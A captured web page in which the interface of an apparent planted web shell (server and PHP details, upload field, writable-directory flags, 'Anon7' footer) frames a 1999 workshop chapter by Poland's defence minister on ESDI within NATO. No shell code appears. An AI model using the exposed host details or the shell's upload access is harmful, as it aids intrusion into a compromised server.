KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/roger.dnai/99Book/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/roger.dnai/99Book/1999_chap13.htm
<HTML>

<HEAD>
<TITLE>1999 Book</TITLE>
</HEAD>

<BODY LINK="#0000ff" BGPROPERTIES="FIXED" BGCOLOR="#ffffff">
<BASEFONT SIZE="3">
<HR SIZE="2"><P ALIGN="CENTER"><FONT COLOR="#1f1a17" SIZE="7" FACE="Palatino">
Chapter 13
</FONT></P><HR SIZE="2">
<P ALIGN="CENTER"><FONT COLOR="#1f1a17" SIZE="6" FACE="Palatino">
ESDI: a Defense Identity within the NATO Framework
</FONT></P>
<P ALIGN="CENTER"><FONT COLOR="#1f1a17" SIZE="3" FACE="Palatino">
Minister of Defense of Poland Janusz Onyszkiewicz
</FONT></P>
<P ALIGN="LEFT"><FONT COLOR="#1f1a17" SIZE="2" FACE="Palatino">
<BR>
</FONT></P>
<P ALIGN="CENTER"><FONT COLOR="#1f1a17" SIZE="3" FACE="Palatino">
<B>MAINTAINING EUROPEAN-U.S. SOLIDARITY</B>
</FONT></P>
<P ALIGN="LEFT"><FONT COLOR="#1f1a17" SIZE="2" FACE="Palatino">
<FONT COLOR="#000000" FACE="Palatino" SIZE="7">T</FONT>he answer to the question concerning whether or not Europe should take
 responsibility for its own defense is basically unclear. Europe, however,
 accepts the fact that NATO will continue to be the main defense organization
 in Europe and should maintain the appropriate capabilities. This fact is
 extremely important, not only because of certain existing situations, but
 also because without it European defense would be uncoupled from the United
 States. Poland believes it is essential to treat the United States as a
 European power and to maintain awareness in the U.S. of European interests
 and solidarity with Europe&#151;not only politically but militarily as well.
</FONT></P>
<P ALIGN="CENTER"><FONT COLOR="#1f1a17" SIZE="3" FACE="Palatino">
<B></B><B>AVOIDING DUPLICATION AND INVOLVING ALL EUROPEAN COUNTRIES IN EUROPEAN SECURITY</B>
</FONT></P>
<P ALIGN="LEFT"><FONT COLOR="#1f1a17" SIZE="2" FACE="Palatino">
Once we accept the fact that the main defense framework for Europe is NATO,
 we clearly must determine how to avoid duplication between European structures
 and structures that could be developed within NATO. This determination
 must be made within the framework of financial constraints that we all
 have and considering the budgetary problems we are going to face.
</FONT></P>
<P ALIGN="LEFT"><FONT COLOR="#1f1a17" SIZE="2" FACE="Palatino">
We must also determine how to handle those NATO countries that are not
 members of the European Union and those countries that are neither NATO
 countries nor EU countries but aspire to EU membership. Within the Western
 European Union a range of different memberships exists: Full Members, Associate
 Members, Observers, and Associate Partners. Associate Members are countries
 that are NATO members but not EU members; Associate Partners are countries
 that are neither members of the European Union nor NATO, but nevertheless
 have a certain status in the WEU. Before Poland, Hungary, and the Czech
 Republic joined NATO, we were Associate Partners, and we valued this status
 very, very much. It was the only framework in which we could feel connected&#151;although
 on a different level&#151;with other countries. When the merger between the
 EU and the WEU takes place, we will have to decide what to do with these
 differently linked countries and how to create a situation in which their
 roles and involvement can be preserved. This is not a minor issue; if the
 status of non-EU countries is lowered, their only point of reference will
 be NATO, and this could be detrimental to the goal of creating a sense
 of involvement for all European countries concerning European security
 issues.
</FONT></P>
<P ALIGN="CENTER"><FONT COLOR="#1f1a17" SIZE="3" FACE="Palatino">
<B></B><B>FRENCH MILITARY INVOLVEMENT</B>
</FONT></P>
<P ALIGN="LEFT"><FONT COLOR="#1f1a17" SIZE="2" FACE="Palatino">
I would like to end my remarks by drawing your attention to another issue
 that I believe is important: the role of France in NATO and ESDI. I think
 that if the current trend of the French military growing closer to NATO
 military structures continues, the chances of creating a very good and
 efficient ESDI within NATO will improve. Greater involvement of the French
 military in NATO military structures will create harmony in the European
 military structure within NATO, and reflect the goals of the Amsterdam
 Treaty.<B></B>
</FONT></P>
<P>

</P>
<P ALIGN="CENTER"><A HREF="workshop1999.htm">Back to 1999 Workshop Index</a></P></BODY>

</HTML>

Anon7 - 2021